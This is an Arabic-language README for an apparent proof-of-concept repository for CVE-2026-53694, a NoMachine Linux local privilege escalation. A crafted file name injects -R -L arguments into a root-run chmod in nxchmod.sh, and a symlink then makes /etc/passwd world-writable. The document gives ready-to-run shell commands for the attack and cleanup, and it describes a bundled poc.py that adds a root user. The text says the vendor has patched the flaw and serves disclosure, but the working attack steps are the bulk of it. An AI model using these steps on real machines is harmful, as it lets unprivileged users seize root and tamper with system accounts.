
إثبات مفهوم الاستغلال وشرح لـ CVE-2026-53694، وهي ثغرة تصعيد صلاحيات محلية في NoMachine لنظام لينكس عبر حقن الوسائط في nxchmod.sh، مما يسمح بالوصول كجذر من خلال معالجة الروابط الرمزية.
يحتوي هذا المستودع على التقرير وإثبات المفهوم (PoC) الخاص بـ CVE-2026-53694، وهي ثغرة تصعيد الصلاحيات المحلي (LPE) في NoMachine لنظام Linux.
بسبب عدم التحييد الصحيح لمحددات الوسائط في السكربت nxchmod.sh، يمكن لمستخدم محلي غير متميز بحقن وسائط في أمر نظام يُنفَّذ بصلاحيات root. من خلال الجمع بين حقن الوسائط هذا وارتباط رمزي، يمكن للمهاجم الكتابة فوق ملفات نظام حرجة (مثل /etc/passwd) وتصعيد صلاحياته إلى root.
تم تصحيح هذه الثغرة بالكامل من قبل المورد.
كان العثور على هذه الثغرة عملية تجريب وخطأ ولحظة إدراك في وقت متأخر من الليل. إليك كيف تكشّف الاكتشاف:
/usr/NX/scripts/restricted/nxchmod.sh كان يُنفَّذ بشكل دوري من قبل مستخدم root لإدارة الصلاحيات في أدلة محددة.chmod a+rw على الملفات. فكرت: إذا تحكمت في الوجهة، هل يمكنني استخدام ارتباط رمزي لجعل /etc/passwd قابلاً للكتابة؟ اختبرت ارتباطاً رمزياً قياسياً (ln -s /etc/passwd /tmp/asdf)، لكنه فشل. تمنع بتة اللزوجة (sticky bit) في Linux على أدلة مثل /tmp مستخدم root من اتباع ارتباط رمزي أنشأه مستخدم آخر بشكل أعمى.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. كان السكربت يأخذ اسم الملف الحرفي ويمرره مباشرة إلى chmod.X1234 -R -L. عندما عمل السكربت، وسّع أمر chmod هذا إلى وسائط بدلاً من مسار ملف واحد.-L (اتبع الارتباطات الرمزية) و -R (تعاودي) في أمر chmod عبر اسم الملف، أجبرت ثنائي chmod نفسه على تحليل واتباع الارتباط الرمزي الذي أنشأته في الدليل، متجاوزاً حماية بتة اللزوجة بالكامل./etc/passwd قابلاً للكتابة (a+rw)، كان بإمكاني ببساطة إضافة مستخدم root جديد إلى الملف و su إليه.تنبع الثغرة من كيفية تعامل NoMachine مع الصلاحيات لمقابس X11/Wayland. يُشغَّل السكربت nxchmod.sh من قبل خدمة nxserver.bin التي تعمل بصلاحيات root.
يبدو التنفيذ المصاب هكذا:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
إذا أنشأ المهاجم بنية دليل وملفاً باسم X1234 -R -L، يصبح الأمر الناتج الذي يُنفَّذ بصلاحيات root:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
عندما يوضع ارتباط رمزي يشير إلى /etc/passwd داخل دليل X1234، تجبر الوسائط المحقونة -R و -L الأمر chmod على اتباع الارتباط الرمزي بشكل تعاودي ومنح صلاحيات قراءة/كتابة عامة للملف الهدف.
لكي يعمل هذا الاستغلال، يجب أن يستوفي النظام الهدف الشروط التالية:
يمكنك إعادة إنتاج هذه الثغرة إما يدوياً باستخدام أوامر shell أو تلقائياً باستخدام سكربت Python المرفق.
انتقل إلى /tmp/.X11-unix/ ونفّذ الأوامر التالية لإنشاء بنية الدليل الخبيثة.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
بمجرد أن تتحقق من الثغرة وتصعّد الصلاحيات، نفّذ أوامر التنظيف التالية لاستعادة استقرار النظام وإزالة الآثار:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
يُقدَّم استغلال آلي كامل في poc.py. يتحقق هذا السكربت من متطلبات Wayland، ويُنشئ الارتباط الرمزي، وينتظر دورة تنفيذ nxchmod.sh ويحقن مستخدم root جديد (gg) في /etc/passwd
لتشغيل الاستغلال:
python3 poc.py
تمت معالجة هذه الثغرة من قبل NoMachine. يجب على المستخدمين التحديث إلى الإصدارات التالية أو أحدث: